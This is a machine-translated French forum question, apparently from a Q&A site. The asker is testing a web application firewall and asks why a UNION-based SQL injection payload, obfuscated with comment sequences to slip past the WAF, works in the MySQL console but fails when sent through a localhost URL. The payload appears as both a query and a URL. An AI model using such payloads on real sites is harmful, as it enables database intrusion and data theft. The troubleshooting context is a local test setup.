je teste un WAF.and je saisis mon SQL dans la console Mysql:Vous avez une erreur dans votre syntaxe SQL; A propos de Mysql injection SQL
select * from test where id='-1' union select table_name,1,1 from/*/*/**/information_schema.tables limit 0,1;
la syntaxe SQL est correcte, et montrer la nom_table mais si vous entrez dans la syntaxe SQL ci-dessous.
http://localhost/test.php?id=-1' union select table_name,1,1 from/*/*/**/information_schema.tables limit 0,1%23
dans votre navigateur, vous pouvez voir l'erreur ci-dessous.
You have an error in your SQL syntax;check the manual that corresponds to your MySQL server version for the right syntax to user near **/information_schema.tables limit 0,1#
et c'est même environnement de test est question version.The pourquoi Mysql Conole peut analysable la syntaxe, mais navigateur non.
donc, Qu'est-ce qui ne va pas et pourquoi l'erreur apparaît seulement dans Brower, mais la console MySQL peut gérer? Comment réparer
À quoi servent tous ces slashs et ces étoiles? Est-ce que vous essayez de créer un commentaire? De plus, UNION ne devrait-il pas passer entre deux instructions select? Pourquoi essayez-vous de mettre fin à la déclaration avec un symbole de hachage? – kojow7
Désolé, la syntaxe de ma console sql est la suivante: select * from test où id = '- 1'union select nom_table, 1,1 from/*/*/**/information_schema.tables limite 0,1; pas de hachage, et le commentaire est de travailler pour contourner le WAF –
Une copie de votre code PHP pourrait être agréable de déchiffrer ce qui se passe. – kojow7